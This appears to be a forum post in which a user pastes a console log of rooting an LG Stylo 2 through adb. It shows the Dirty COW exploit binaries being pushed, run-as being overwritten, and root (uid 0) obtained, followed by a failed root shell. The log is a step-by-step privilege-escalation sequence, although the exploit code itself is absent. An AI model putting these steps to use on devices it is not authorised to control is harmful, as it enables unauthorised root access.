here is what I get:
C:\Users\Donny\Pictures\Logitech Webcam\XXX\Xploit 4 LG Stylo 2 (LGLS775ABB) ZV4 ZV5\ADB>adb push dirtycows /data/local/tmp
1576 KB/s (13728 bytes in 0.008s)
C:\Users\Donny\Pictures\Logitech Webcam\XXX\Xploit 4 LG Stylo 2 (LGLS775ABB) ZV4 ZV5\ADB>adb push cow-execute /data/local/tmp
1489 KB/s (13728 bytes in 0.009s)
C:\Users\Donny\Pictures\Logitech Webcam\XXX\Xploit 4 LG Stylo 2 (LGLS775ABB) ZV4 ZV5\ADB>adb shell
shell@ph1:/ $ chmod 0777 /data/local/tmp/dirtycows
chmod 0777 /data/local/tmp/dirtycows
shell@ph1:/ $ chmod 0777 /data/local/tmp/cow-execute
chmod 0777 /data/local/tmp/cow-execute
shell@ph1:/ $ /data/local/tmp/dirtycows /system/bin/run-as /data/local/tmp/cow-execute
/tmp/dirtycows /system/bin/run-as /data/local/tmp/cow-execute <
warning: new file size (13728) and file old size (17920) differ
size 17920
[*] mmap 0xb6d3b000
[*] exploit (patch)
[*] currently 0xb6d3b000=464c457f
[*] madvise = 0xb6d3b000 17920
[*] madvise = 0 1048576
[*] /proc/self/mem 1610612736 1048576
[*] exploited 0xb6d3b000=464c457f
shell@ph1:/ $ run-as -exec id
run-as -exec id
Current uid: 2000
Setting capabilities
Attempting to escalate to root
Current uid: 0
Executing: 'id' with 0 arguments
uid=0(root) gid=0(root) groups=0(root),1004(input),1007(log),1011(adb),1015(sdcard_rw),1028(sdcard_r),3001(net_bt_admin),3002(net_bt),3003(inet),3006(net_bw_stats) context=u:r:runas:s0
shell@ph1:/ $ run-as -exec sh
run-as -exec sh
Current uid: 2000
Setting capabilities
Attempting to escalate to root
Current uid: 0
Executing: 'sh' with 0 arguments
Failed to execute 'sh'!
1|shell@ph1:/ $ Chmod 0777 /system/bin/sh
Chmod 0777 /system/bin/sh
/system/bin/sh: Chmod: not found
127|shell@ph1:/ $ chmod 0777 /system/bin/sh
chmod 0777 /system/bin/sh
chmod: chmod '/system/bin/sh' to 100777: Read-only file system
1|shell@ph1:/ $